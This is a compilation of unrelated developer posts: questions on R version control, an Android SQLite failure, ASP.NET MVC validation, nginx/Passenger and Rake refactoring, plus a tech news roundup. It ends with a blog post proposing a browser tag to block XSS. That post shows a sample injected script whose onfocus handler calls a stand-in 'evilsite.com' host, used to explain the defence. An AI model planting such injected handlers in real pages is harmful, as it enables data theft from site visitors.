  Hello all, I remember coming across R users writing that they use "Revision control" (e.g: "Source control"), and I am curious to know: How do you combine "Revision control" with your statistical analysis WorkFlow? Two (very) interesting discussions talk about how to deal with the WorkFlow. But neither of them refer to the revision control element: http://stackoverflow.com/questions/1266279/how-to-organize-large-r-programs http://stackoverflow.com/questions/1429907/workflow-for-statistical-analysis-and-report-writing A Long Update To The Question: Following some of the people's answers, and Dirk's question in the comment, I would like to direct my question a bit more. After reading the Wiki article about "revision control" (which I was previously not familiar with), it was clear to me that when using revision control, what one does is to build a development structure of his code. This structure either leads to a "final product" or to several branches. When building something like, let's say, a website. There is usually one end product you work towards (the website), with some prototypes along the way. But when doing a statistical analysis, the work (to my view) is different. Sometimes you know where you want to get to. But more often, you explore. Explore cleaning the dataset. Explore different methods for statistical analysis, and ask various questions of your data (and I am writing this, knowing how Frank Harrell, and other experience statisticians feels about Data dredging). That is way the WorkFlow question with statistical programming is (in my view) a serious and deep question, raising many issues, The simpler ones are technical: Which revision control software do you use (and why) ? Which IDE do you use(and why) ? The more interesting question are about work process: How do you structure your files? What do you keep as a separate file and what as a revision? or asking in a different way - What should be a "branch" and what should be a "sub project" in your code? For example: When starting to explore your data, should a plot be creating and then erased because it didn't lead any where (but kept as a revision) or should there be a backup file of that path? How you solve this tension was my initial curiosity. The second question is "what might I be missing?". What rules (of thumb) should one follow so to avoid common pitfalls doing statistical programming with version control? In my intuition, I feel that statistical programming is inherently different then software development (I am writing this without being a real expert in statistical programming, and even less so in software development). That's way I am unsure which of the lessons I have read here about version control would be applicable. Thanks a lot, Tal

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• Sqlite issues with HTC Desire HD

  - by Greg

  Recently I have been getting a lot of complaints about the HTC Desire series and it failing while invoking sql statements. I have received reports from users with log snapshots that contain the following. I/Database( 2348): sqlite returned: error code = 8, msg = statement aborts at 1: [pragma journal_mode = WAL;] E/Database( 2348): sqlite3_exec to set journal_mode of /data/data/my.app.package/files/localized_db_en_uk-1.sqlite to WAL failed followed by my app basically burning in flames because the call to open the database results in a serious runtime error that manifests itself as the cursor being left open. There shouldn't be a cursor at this point as we are trying to open it. This only occurs with the HTC Desire HD and Z. My code basically does the following (changed a little to isolate the problem area). SQLiteDatabase db; String dbName; public SQLiteDatabase loadDb(Context context) throws IOException{ //Close any old db handle if (db != null && db.isOpen()) { db.close(); } // The name of the database to use from the bundled assets. String dbAsset = "/asset_dir/"+dbName+".sqlite"; InputStream myInput = context.getAssets().open(dbAsset, Context.MODE_PRIVATE); // Create a file in the app's file directory since sqlite requires a path // Not ideal but we will copy the file out of our bundled assets and open it // it in another location. FileOutputStream myOutput = context.openFileOutput(dbName, Context.MODE_PRIVATE); byte[] buffer = new byte[1024]; int length; while ((length = myInput.read(buffer)) > 0) { myOutput.write(buffer, 0, length); } // Close the streams myOutput.flush(); // Guarantee Write! myOutput.getFD().sync(); myOutput.close(); myInput.close(); // Not grab the newly written file File fileObj = context.getFileStreamPath(dbName); // and open the database return db = SQLiteDatabase.openDatabase(fileObj.getAbsolutePath(), null, SQLiteDatabase.OPEN_READONLY | SQLiteDatabase.NO_LOCALIZED_COLLATORS); } Sadly this phone is only available in the UK and I don't have one in my inventory. I am only getting reports of this type from the HTC Desire series. I don't know what changed as this code has been working without any problem. Is there something I am missing?

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• ASP.NET MVC: How can I explain an invalid type violation to an end-user with Html.ValidationSummary?

  - by Terminal Frost

  Serious n00b warning here; please take mercy! So I finished the Nerd Dinner MVC Tutorial and I'm now in the process of converting a VB.NET application to ASP.NET MVC using the Nerd Dinner program as a sort of rough template. I am using the "IsValid / GetRuleViolations()" pattern to identify invalid user input or values that violate business rules. I am using LINQ to SQL and am taking advantage of the "OnValidate()" hook that allows me to run the validation and throw an application exception upon trying to save changes to the database via the CustomerRepository class. Anyway, everything works well, except that by the time the form values reach my validation method invalid types have already been converted to a default or existing value. (I have a "StreetNumber" property that is an integer, though I imagine this would be a problem for DateTime or any other non-strings as well.) Now, I am guessing that the UpdateModel() method throws an exception and then alters the value because the Html.ValidationMessage is displayed next to the StreetNumber field but my validation method never sees the original input. There are two problems with this: While the Html.ValidationMessage does signal that something is wrong, there is no corresponding entry in the Html.ValidationSummary. If I could even get the exception message to show up there indicating an invalid cast or something that would be better than nothing. My validation method which resides in my Customer partial class never sees the original user input so I do not know if the problem is a missing entry or an invalid type. I can't figure out how I can keep my validation logic nice and neat in one place and still get access to the form values. I could of course write some logic in the View that processes the user input, however that seems like the exact opposite of what I should be doing with MVC. Do I need a new validation pattern or is there some way to pass the original form values to my model class for processing? CustomerController Code // POST: /Customers/Edit/[id] [AcceptVerbs(HttpVerbs.Post)] public ActionResult Edit(int id, FormCollection formValues) { Customer customer = customerRepository.GetCustomer(id); try { UpdateModel(customer); customerRepository.Save(); return RedirectToAction("Details", new { id = customer.AccountID }); } catch { foreach (var issue in customer.GetRuleViolations()) ModelState.AddModelError(issue.PropertyName, issue.ErrorMessage); } return View(customer); }

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• Why does Rails with Passenger/nginx only works in development mode? No logs available

  - by Michael W.

  Hey folks, I have a serious problem with one of our webservers... after having an internal alpha-testing with a mongrel/haproxy-cluster that worked well, we wanted to use nginx with passenger for our first production server (customers will access this server). However, I can only run the rails app via development mode with passenger/nginx. The app itself runs perfect with mongrel or webrick in production mode. My biggest problem with this case is that I don't find ANY information in the nginx or rails-logs (only when I use mongrel or webrick). Permissions are correct. Passenger-status shows that the app is running, but I always get the static 500.html-error page... It would be so nice if you guys could give me a hint and help me solve the problem. I put the config at the bottom of the post... This exact config works with rails_env development;but I'd like to use the production mode ;-) Thank you very much for your help! Version: Ubuntu 8.04.2 64bit / nginx-0.7.64 (compiled and installed via passenger-2.2.11) cat /opt/nginx/conf/nginx.conf user www-data; worker_processes 4; error_log logs/error.log; #pid logs/nginx.pid; events { worker_connections 1024; } http { passenger_root /usr/lib/ruby/gems/1.8/gems/passenger-2.2.11; passenger_ruby /usr/bin/ruby1.8; passenger_log_level 3; include mime.types; default_type application/octet-stream; #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' # '"$http_user_agent" "$http_x_forwarded_for"'; access_log logs/access.log; sendfile on; #tcp_nopush on; #keepalive_timeout 0; keepalive_timeout 65; #gzip on; server { listen 80; server_name <<servername>>; root /srv/app01/public; passenger_enabled on; }

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• How do I use Ruby metaprogramming to refactor this common code?

  - by James Wenton

  I inherited a project with a lot of badly-written Rake tasks that I need to clean up a bit. Because the Rakefiles are enormous and often prone to bizarre nonsensical dependencies, I'm simplifying and isolating things a bit by refactoring everything to classes. Specifically, that pattern is the following: namespace :foobar do desc "Frozz the foobar." task :frozzify do unless Rake.application.lookup('_frozzify') require 'tasks/foobar' Foobar.new.frozzify end Rake.application['_frozzify'].invoke end # Above pattern repeats many times. end # Several namespaces, each with tasks that follow this pattern. In tasks/foobar.rb, I have something that looks like this: class Foobar def frozzify() # The real work happens here. end # ... Other tasks also in the :foobar namespace. end For me, this is great, because it allows me to separate the task dependencies from each other and to move them to another location entirely, and I've been able to drastically simplify things and isolate the dependencies. The Rakefile doesn't hit a require until you actually try to run a task. Previously this was causing serious issues because you couldn't even list the tasks without it blowing up. My problem is that I'm repeating this idiom very frequently. Notice the following patterns: For every namespace :xyz_abc, there is a corresponding class in tasks/... in the file tasks/[namespace].rb, with a class name that looks like XyzAbc. For every task in a particular namespace, there is an identically named method in the associated namespace class. For example, if namespace :foo_bar has a task :apples, you would expect to see def apples() ... inside the FooBar class, which itself is in tasks/foo_bar.rb. Every task :t defines a "meta-task" _t (that is, the task name prefixed with an underscore) which is used to do the actual work. I still want to be able to specify a desc-description for the tasks I define, and that will be different for each task. And, of course, I have a small number of tasks that don't follow the above pattern at all, so I'll be specifying those manually in my Rakefile. I'm sure that this can be refactored in some way so that I don't have to keep repeating the same idiom over and over, but I lack the experience to see how it could be done. Can someone give me an assist?

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• What web platform is right for me?

  - by egervari

  I've been looking at web frameworks like Rails, Grails, etc. I'm used to doing applications in Spring Framework with Hibernate... and I want something more productive. One of the things I realized is that while some of the things in Grails is sexy, there are some serious problems with it. Grails' controllers: 1) are implemented awfully. They don't seem to be able to extend from super classes at runtime. I tried this to add base actions and helper methods, and this seems to cause grails to blow up. 2) are based on an obsolete request parameters model (rather than form backing objects, which are much nicer). 3) are hard to test. Command objects are treated totally differently... and it's actually MUCH harder to write the test than it is to write the controller code. 4) Command objects operate totally differently. They are pre-validated and bound, which causes a lot of inconsistencies than basic parameter model. 5) Command objects are not reusable, and it's a pain in the rear to reuse most of the stuff from the domain classes, like constraints and fields. This is TRIVIAL to do in basic Spring. Why the hell was it not trivial to do in Grails? 6) The scaffolding that is generated is pure crap. It doesn't generalize inserts and updates... and it actually copy/pastes a pile of code in two views: create.gsp and edit.gsp. The views themselves are gargantuan piles of doggie do-do. This is further compounded by the fact that it uses low-level parameters and not objects. Integration tests are 30x slower than a Spring integration test. It is disgusting. Some mocking tests are so hard to write and aren't guaranteed to work when it's deployed, that I think it discourages fast, tdd test cycles. Most things seem to screw up grails while it's running, like adding a taglib, or anything really. The server restart problem wasn't solved at all. I'm starting to think going with Spring/Hibernate/Java is the only way to go. While there is a pretty big cost at startup, I know it'll eventually smooth out. It sucks I can't use a language like Scala... because idiomatically, it is so incompatible with Hibernate. This app is also not a run-of-the-mill UI over a database. It's got some of that, but it's not going to be a slouch. I am deathly scared of Grails now because of how crap it is in the Controller layer. Suggestions on what I can do?

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• How to setup Lucene/Solr for a B2B web app?

  - by Bill Paetzke

  Given: 1 database per client (business customer) 5000 clients Clients have between 2 to 2000 users (avg is ~100 users/client) 100k to 10 million records per database Users need to search those records often (it's the best way to navigate their data) Possibly relevant info: Several new clients each week (any time during business hours) Multiple web servers and database servers (users can login via any web server) Let's stay agnostic of language or sql brand, since Lucene (and Solr) have a breadth of support For Example: Joel Spolsky said in Podcast #11 that his hosted web app product, FogBugz On-Demand, uses Lucene. He has thousands of on-demand clients. And each client gets their own database. They use an index per client and store it in the client's database. I'm not sure on the details. And I'm not sure if this is a serious mod to Lucene. The Question: How would you setup Lucene search so that each client can only search within its database? How would you setup the index(es)? Where do you store the index(es)? Would you need to add a filter to all search queries? If a client cancelled, how would you delete their (part of the) index? (this may be trivial--not sure yet) Possible Solutions: Make an index for each client (database) Pro: Search is faster (than one-index-for-all method). Indices are relative to the size of the client's data. Con: I'm not sure what this entails, nor do I know if this is beyond Lucene's scope. Have a single, gigantic index with a database_name field. Always include database_name as a filter. Pro: Not sure. Maybe good for tech support or billing dept to search all databases for info. Con: Search is slower (than index-per-client method). Flawed security if query filter removed. One last thing: I would also accept an answer that uses Solr (the extension of Lucene). Perhaps it's better suited for this problem. Not sure.

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• Week in Geek: FBI Back Door in OpenBSD Edition

  - by Asian Angel

  This week we learned how to migrate bookmarks from Delicious to Diigo, fix annoying arrows, play old-school DOS games, schedule smart computer shutdowns, use breaks in Microsoft Word to better format documents, check the condition of hard-disks using Linux disk utilities, & what the Linux fstab is and how it works. Photo by Jameson42. Random Geek Links Another week with extra news link goodness to help keep you up to date. Photo by justmakeit. Report of FBI back door roils OpenBSD community Allegations that the FBI surreptitiously placed a back door into the OpenBSD operating system have alarmed the computer security community, prompting calls for an audit of the source code and claims that the charges must be a hoax. Fortinet: Job outlook improving for cybercrooks In an ironic twist in the job market, more positions will open up for developers who can write customized malware packers, people who can break CAPTCHA codes, and distributors who can spread malicious code, according to Fortinet. Enisa: Malware for smartphones is a ’serious risk’ Businesses and consumers are at risk of data breaches through smartphone use, according to the European Network and Information Security Agency. The trick with the f: Google and Microsoft web sites distribute malware Last week, Google’s DoubleClick advertising platform and Microsoft’s rad.msn.com online ad network briefly distributed malware to other web sites in the form of advertising banners. New scam tactic: Fake disk defraggers It would appear that scammers are trying out new programs to see which might best confuse potential victims and evade detection by legitimate antivirus software. Microsoft closes IE and Stuxnet holes As previously announced, Microsoft has released 17 security updates to close 40 security holes. All four Windows holes so far disclosed in connection with Stuxnet have now been closed. Microsoft Offers H.264 Support to Firefox on Windows via Add-On The new HTML5 Extension for Windows Media Player Firefox Plug-in add-on from Microsoft offers users that are running Firefox on Windows 7 H.264 support for HTML5 video playback. Google proclaims Chrome business-ready Google has announced that Chrome is ready for corporate use. Microsoft Tells Exchange Customers to Think Twice Before Opting for Google Message Continuity This week, Microsoft is telling companies still running Exchange 2010’s precursors that they should carefully consider the implications of embracing Google Message Continuity. Who Google has in mind for its Chrome OS users Steven Vaughan-Nichols explains why he feels that Chrome OS will be ideal for either office-workers or people who need a computer, but do not know the first thing about how to use one safely. Oracle takes office suite to the cloud Oracle has introduced Cloud Office 1.0, a cloud-based version of its office suite, which is aimed at web and mobile users. Mozilla pays premiums for reports of vulnerabilities The Mozilla Foundation has followed Google’s example by expanding its rewards program for reports of vulnerabilities in its Web applications. Who bought those 882 Novell patents? Not just Microsoft The mysterious CPTN Holdings — the organization that bought the 882 Novell patents as part of the terms of the Attachmate acquisition of Novell – has been unmasked (Microsoft, Apple, EMC and Oracle). Appeals court: Feds need warrants for e-mail Police must obtain search warrants before perusing Internet users’ e-mail records, a federal appeals court ruled today in a landmark decision that struck down part of a 1986 law allowing warrantless access. Geek Video of the Week What happens when someone plays a wicked prank by shoveling crazy snow paths that lead to dead ends or turn back on themselves? Watch to find out! Photo by CollegeHumor. Janitor Snow Shoveling Prank Random TinyHacker Links The Oatmeal on Cat vs Internet What lengths will our poor neglected kitty hero have to go to in order to get some attention? Guide On Using JoliCloud With Windows JoliCloud is a nifty operating system that’s made for people who need a light-weight OS that’s mostly cloud based. Check this guide on using it with Windows. Use Cameyo to Easily Create Portable Programs Here’s a nifty tool to make portable apps out of programs in Windows. Check out the guide to do it. Better Family Tech Support A nice new site by Google to help members of family understand how computers work. Track Your Stolen Mobile Phone With F-Secure A useful anti-theft tool for your mobile phone. Super User Questions Another week with great answers to popular questions from Super User. What Chrome password manager fits my requirements? What’s the best way to be able to reimage windows computers? Could you suggest feature-rich disk-based personal backup program for linux (and I’ve seen a few)? What is IPv6 and why should I care? Is there any way to find out what programs are trying to connect to Internet on windows? How-To Geek Weekly Article Recap Here are our hottest articles full of geeky goodness from this past week at HTG. 20 OS X Keyboard Shortcuts You Might Not Know Microsoft Security Essentials 2.0 Kills Viruses Dead. Download It Now. Is Your Desktop Printer More Expensive Than Printing Services? Ask the Readers: Would You Be Willing to Give Windows Up and Use a Different O.S.? The Twelve Days of Geekmas One Year Ago on How-To Geek Enjoy reading through our latest batch of retro-geek goodness from one year ago. Macrium Reflect is a Free and Easy To Use Backup Utility How To Turn a Physical Computer Into A Virtual Machine with Disk2vhd How To Restore Windows 7 from a System Image How To Manage Hard Drive Space Used by Windows 7 Backup and Restore How To Manage Hibernate Mode in Windows 7 The Geek Note That is all we have for you this week, so see you back here again after the holidays! Got a great tip? Send it in to us at [email protected]. Photo by mitjamavsar. Latest Features How-To Geek ETC The Complete List of iPad Tips, Tricks, and Tutorials The 50 Best Registry Hacks that Make Windows Better The How-To Geek Holiday Gift Guide (Geeky Stuff We Like) LCD? LED? Plasma? The How-To Geek Guide to HDTV Technology The How-To Geek Guide to Learning Photoshop, Part 8: Filters Improve Digital Photography by Calibrating Your Monitor Deathwing the Destroyer – WoW Cataclysm Dragon Wallpaper Drag2Up Lets You Drag and Drop Files to the Web With Ease The Spam Police Parts 1 and 2 – Goodbye Spammers [Videos] Snow Angels Theme for Windows 7 Exploring the Jungle Ruins Wallpaper Protect Your Privacy When Browsing with Chrome and Iron Browser

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• Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

  - by Rick Strahl

  The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  HTML5  HTML  Security   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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